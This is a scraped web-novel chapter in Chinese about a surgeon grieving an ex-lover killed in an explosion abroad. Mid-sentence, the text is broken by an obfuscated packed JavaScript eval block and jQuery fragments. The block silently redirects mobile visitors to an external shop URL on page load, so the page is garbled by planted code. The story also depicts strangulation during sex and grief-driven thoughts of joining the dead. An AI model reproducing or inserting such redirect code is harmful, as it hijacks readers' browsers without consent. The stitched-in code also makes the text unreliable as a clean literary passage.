文趣网 > 都市小说 > 竹马他好爱我[重生] > 2. chapter002
    “您好,我是欧光洲。”

    六千公里之外,祁阳听着电话,擦血的手一顿。

    “请问林野现在是什么情况?”

    祁阳下意识看向已经被装进敛尸袋里的人,喉头堵到发不出声音。

    欧光洲又问:“可以让他接电话吗?”

    祁阳替林野擦干净脸上最后一丝血迹,救援人员拉上了敛尸袋。

    “请问,能听到吗?”

    祁阳用力清了一下嗓子,用充满鼻音的声音回答:“可以听到。”

    欧光洲似乎有所预感,沉默了一秒,问:“是出什么事了吗?”

    祁阳答:“遭遇爆炸波及,半小时前走了。”

    其实祁阳还是没有实感,尽管林野已经被装进了敛尸袋,但是似乎只要不说出来,一切都还算不得真。

    欧光洲这通电话一来,他把丧一报,似乎一切就都没有了转圜的余地,一下子就天崩地裂了起来。

    给公司报丧的时候也没有这么难过啊,大概是因为林野到死也没能等到欧光洲的电话的缘故吧?

    祁阳又开始掉眼泪,控诉一般,声音越来越不受控制:“你知道林哥等了你多久吗?你知道他不清醒的时候反反复复提你吗?可是到最后他也没等到你的电话!”

    “也太晚了吧!我说你哪怕早半小时呢!”

    对面的崩溃犹如实质,泥石流般顺着手机爆发过来。

    欧光洲有些拿不稳手机。

    林野,遭遇爆炸。

    走了。

    他知道意思,但组合起来得到的讯息,让他不愿也不敢去相信。

    电话对面的人似乎调整了一下情绪,跟欧光洲道歉:“抱歉欧医生,我一时接受不了,不是冲您。跟您说一下前因后果。”

    “……

    “林哥本人意愿是骨灰回国。到时候我们会出具报告书,葬礼也会联系到您。

    “林哥给您带了一句话,让您好好吃饭,好好睡觉。”

    “这边还有事,先挂了。”

    欧光洲耳内轰鸣。

    他十二岁那年就认识了林野,那年林野十一。

    十一岁的林野好生可怜,妈妈死了爸爸常年不回家,无依无靠的总受霸凌。他看不过去将人护在身边,后来护出了感情。

    同一所初中,同一所高中,同一所顶尖大学,最后走到了一起。

    开始是他告的白,最后也是他提的分手,分的那天林野哭得很崩溃。

    但他没回头。

    从分手那天起,整整八年,他们的人生就再无交集,即使他们没有删掉联系方式。

    他特别后悔遇到林野,倘若重新给他一次机会,他不要在十二岁那年遇到林野,更不要与林野产生任何交集。

    有些坎,终其一生越不过去。

    继续苟且在一起,何尝不是一种对亡者的背叛。

    然而今天,有人告诉他林野死了,死在了六千公里外的异国。

    死前试图联系他。

    而他没能接到电话。

    欧光洲情感上还是不相信,胸口却已经开始空得发疼。

    他终于打开微信,给八年未曾联系的林野去了一条消息:

    【-回我。】

    没人回复。

    【-有人说你出事了,看到了回复我。】

    还是没人回复。

    煎熬。

    欧光洲很多年没这么焦躁过,这份焦躁促使他点进了林野的朋友圈。

    林野这几年的朋友圈很有规律,一年12条:每个月1号会发一条,基本上是上月总结。

    看林野一条朋友圈,就像是开了跟随视角,跟着他过完一个月。

    此前欧光洲屏蔽了林野朋友圈,无他,他拒绝接触与林野有关的一切,拒绝林野会带来的任何情绪波动,当然不会去看一月一次的朋友圈。

    欧光洲在办公室足足呆坐了一小时。

    回家路上开错了道,闯了红灯。

    一直到深夜,林野那边还是毫无动静。

    欧光洲迷迷糊糊睡着,半夜忽然又大汗淋漓地惊醒,摸手机看。

    昏暗的手机屏幕上,除了一些工作群里的消息,还是没有林野的回复。

    第二天,欧光洲判断了自己的状态,灌了高浓度的咖啡,上了手术台。

    做完手术,收到祁阳的消息——

    虽然后来单位争取让林野遗体回国,但经过评估,难度太大,不管是遗体保存还是目前形势。

    最终结果是办完手续后进行火化,骨灰一周内运回国,举办葬礼。

    欧光洲一直拒绝相信,直到一周后等回了林野的骨灰。

    一起回来的还有林野的一应遗物:损毁的记者证、屏幕裂了的私人手机。

    甚至还有一份公证过的遗嘱,名下所有财产,一半捐赠,一半给欧光洲,公证时间是林野去C国前——20x5年7月。

    葬礼紧随其后。

    来了很多人前来送行。

    祁阳也一道回来了,他形容憔悴,眼眶通红,看上去好生伤心。

    他对欧光洲说:“你好好送送他。”

    又给了欧光洲一只优盘:“里面有几段视频,记录了他……林哥的最后三小时,没有拍脸。”

    欧光洲握着优盘,木然坐在角落,从头沉默到尾。

    林野的遗照眉眼含笑,越过人群,与他遥遥对视。

    说不上来什么感觉,接触到照片上人的眼睛瞬间,有尖刀毫无征兆地冲着他的灵魂刺了一下,痛得他直不起腰。

    足足一分钟,世界轰然作响,欧光洲什么也看不清。

    不对,不应该。

    他虽然每天都会想起来林野这个人,每天几遍,像是一日三餐那样平常。虽然偶尔想到漫漫人生,和这个人再无交集,心脏会揪成一团。但都是淡淡的,持续时间也不长,也就十来秒,然后一切又会归于平静。

    然而现在,他忽然意识到林野真的死了。

    死,是什么呢?是眼睛合上,失去了温度,发不出声音,身体被烧成了灰,被埋进了地下。

    这辈子,他再也见不到他了。

    他甚至没能见到他的遗容,只见到了装着他烧成的灰的盒子。

    平铺天际的乌云接替了万里晴空,密布的潮湿吞噬了最后一丝阳光,阳墩市被笼进了巨大的雨幕。

    林野的葬礼结束了。

    欧光洲开始不社交,不休假,手术量暴增。

    甚至同事都察觉出了不对劲,劝他休假,但他拒绝休息。

    他开始用林野填满工作之余。

    林野的手机密码没换过,还是当年他们在一起用的,欧光洲很容易就解锁了。

    打开V信,收到了来自很多人的很多条未读消息,或着急,或不相信,或伤心。

    聊天界面的置顶位置,是欧光洲。

    打开对话框,里面只有空空荡荡的两条信息——

    【-回我。】

    【-有人说你出事了,看到了回复我。】

    再拿林野的号点进他自己的朋友圈,欧光洲发现了林野满屏的朋友圈,仅他可见。

    还有什么不明白的呢?

    他和林野实在都算不得什么心理特别健康的人,都有比较严重的分离焦虑。

    分手三个月后,林野开始以一个月一条的频率发朋友圈,展示自己的生活——大概是在照顾他的分离焦虑。

    而他是个逃避的混账

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753649|209469||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,直接屏蔽,所以他基本没看过。

    不仅如此,他吝啬得很,从不肯向林野展示自己的生活。

    一经分手,他立刻干干净净消失在了林野的世界。

    哦,不对,分手半个月后,他和林野还是见过一面的。

    林野难以忍受分手的痛苦,联系了他,说想和他一起吃顿饭,他答应了。

    那顿饭最后吃到了床上。

    那是场极致的□□,痛苦绝望,情到最浓处,欧光洲脑子里出现了疯狂可怕的想法:要是活着无法在一起,那么一起下地狱吧,算作一起赎罪。

    他扼住了脆弱的脖颈,用力,几乎要将它掐断。而林野任凭他动作,完全没有反抗,引颈就戮。

    他是疯子。

    林野已然不堪承受,却仍旧毫不反抗,林野也是疯子。

    最后,欧光洲松了力道。

    他记得林野呛咳了很久,颤抖到快要支撑不了继续说话,根根睫毛遮掩下的瞳孔深处却像是燃起了幽火:“是不是我死了,你就能原谅我……”

    欧光洲将他的声音撞碎:“不,你死了我更不原谅。”

    那是他们最后一次见面。

    他以为自此生离,没想到,竟成了死别。

    一晃八年。

    八年后的现在,欧光洲一遍遍地看林野的朋友圈,看林野的采访视频,反反复复去听这个人留下的声音,去描摹这个人的轮廓。

    在现实,在梦里,在半睡半醒里。

    欧光洲的睡眠开始变得更糟糕,某天夜里,他照常从半睡半醒中惊醒,却比以往任何一次都难捱——心脏处像被谁用大剪刀豁开了一道口子,热血往外冒,冷风往里灌。

    冷极了。

    那时候他忽然很想去陪陪林野,一刻都等不及。

    欧光洲穿上外套,赶到林野的墓前,挨着墓碑坐。

    又伸手去触碰照片上林野的脸颊,对他说:“我手头还有几台手术要做,一个月,等做完了,想好好休息。”

    “我好像一直在做错事,遇到你,害死了我妈。跟你分了手,好像又害死了你。我既对不起我妈,也对不起你。

    “你再等等我。”

    如此,又一个月过去,欧光洲才去看了优盘里的内容。

    镜头对着一堆碎石,背景有爆炸声,能听到林野的声音。

    多数时候林野说话不多,但偶尔会说:“我要给欧光洲打电话。”

    有声音问:“欧光洲是谁?”

    他听见林野沉默,然后林野说:“我哥。”

    我哥。

    是他让林野喊的哥,因为少时坚信,哥哥会一辈子保护弟弟。

    虽然最后他并没有办到。

    欧光洲打开最后一段视频。

    那是林野的最后时期,听得出来,已经处于回光返照阶段。

    镜头里,林野胸腹都是血,顺着绷带渗出来,染红了绷带,也染红了林野的指尖。

    林野在和祁阳说工作,说安全。

    镜头一闪而过,模糊地拍到了林野半张脸。

    欧光洲的心脏已然麻木,却还是无法避免地疼痛起来,他反复回拉、暂停视频,却怎么也无法窥见林野那时的神情。

    他几乎就要升起疯狂的偏执来,想要立刻去到林野那边,亲自去问,亲自去看。但林野最后那句“好好吃饭好好睡觉”拽住了他——

    林野要求他的从来不多,这么一点要求,他总该答应。

    关掉视频,欧光洲去了母亲卞真和女士的墓前,献了束花,陪着说了会儿话。

    最后,他去看了林野,在林野墓前坐了一夜。

    三个月后,欧光洲作为一名无国界救援组织的医生,奔赴C国。